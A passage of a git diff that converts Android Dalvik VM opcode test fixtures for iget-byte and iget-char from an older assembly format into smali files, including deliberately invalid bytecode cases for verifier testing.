+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_5;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.d
deleted file mode 100644
index 0f761e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_6.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_byte/TestStubs/<init>()V
-
-       iget-byte v1, v0, dot.junit.opcodes.iget_byte.TestStubs.TestStubField B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali
new file mode 100644
index 0000000..3e3bab9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_6.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/TestStubs;-><init>()V
+
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubField:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.d
deleted file mode 100644
index a9df70b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_7.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_7no_class.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali
new file mode 100644
index 0000000..8532061
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_7.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_7no_class;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.d
deleted file mode 100644
index de3b7a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_8.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_8.i1N B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali
new file mode 100644
index 0000000..9cb72b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_8.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_8;->i1N:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.d
deleted file mode 100644
index 96eee86..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_9.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_9
-.super java/lang/Object
-
-.field public i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       const v0, 0
-       iget-byte v1, v0, dot.junit.opcodes.iget_byte.d.T_iget_byte_9.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali
new file mode 100644
index 0000000..dcde340
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_9.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_9;
+.super  Ljava/lang/Object;
+
+.field public i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       const v0, 0
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_9;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.d
deleted file mode 100644
index 837dd6b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_1.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_1
-.super java/lang/Object
-
-.field public  i1 C
-.field protected  p1 C
-.field private  pvt1 C
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const v0, 77
-       iput-char v0, v1, dot.junit.opcodes.iget_char.d.T_iget_char_1.i1 C
-
-       const v0, 77
-       iput-char v0, v1, dot.junit.opcodes.iget_char.d.T_iget_char_1.p1 C
-
-       const v0, 77
-       iput-char v0, v1, dot.junit.opcodes.iget_char.d.T_iget_char_1.pvt1 C
-       
-       
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_1.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali
new file mode 100644
index 0000000..5c18b32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_1.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_1.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+.field protected  p1:C
+.field private  pvt1:C
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->i1:C
+
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->p1:C
+
+       const v0, 77
+       iput-char v0, v1, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->pvt1:C
+       
+       
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.d
deleted file mode 100644
index 9d74992..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_11.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_11
-.super dot/junit/opcodes/iget_char/d/T_iget_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_char/d/T_iget_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_1.p1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali
new file mode 100644
index 0000000..500ed0c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_11.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_11;
+.super  Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->p1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.d
deleted file mode 100644
index 5194ff9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_12.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_12
-.super dot/junit/opcodes/iget_char/d/T_iget_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_char/d/T_iget_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_1.pvt1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali
new file mode 100644
index 0000000..f7e4754
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_12.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_12;
+.super  Ldot/junit/opcodes/iget_char/d/T_iget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_1;->pvt1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.d
deleted file mode 100644
index a7f5e58..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_13.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_13.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali
new file mode 100644
index 0000000..e4356bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_13.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_13;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.d
deleted file mode 100644
index 46f0e20..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_14.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_14
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.smali
new file mode 100644
index 0000000..beeeec0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_char/d/T_iget_char_14;
+.super Ljava/lang/Object;
+.source "T_iget_char_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-char v0, p0, Ldot/junit/opcodes/iget_char/d/T_iget_char_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.d
deleted file mode 100644
index e8c7195..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_15.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali
new file mode 100644
index 0000000..dcba0b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_15.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.d
deleted file mode 100644
index 34dbaf0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_16.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali
new file mode 100644
index 0000000..da83e9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_16.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_16;->i1:I
+       return-void
+.end method
+
+
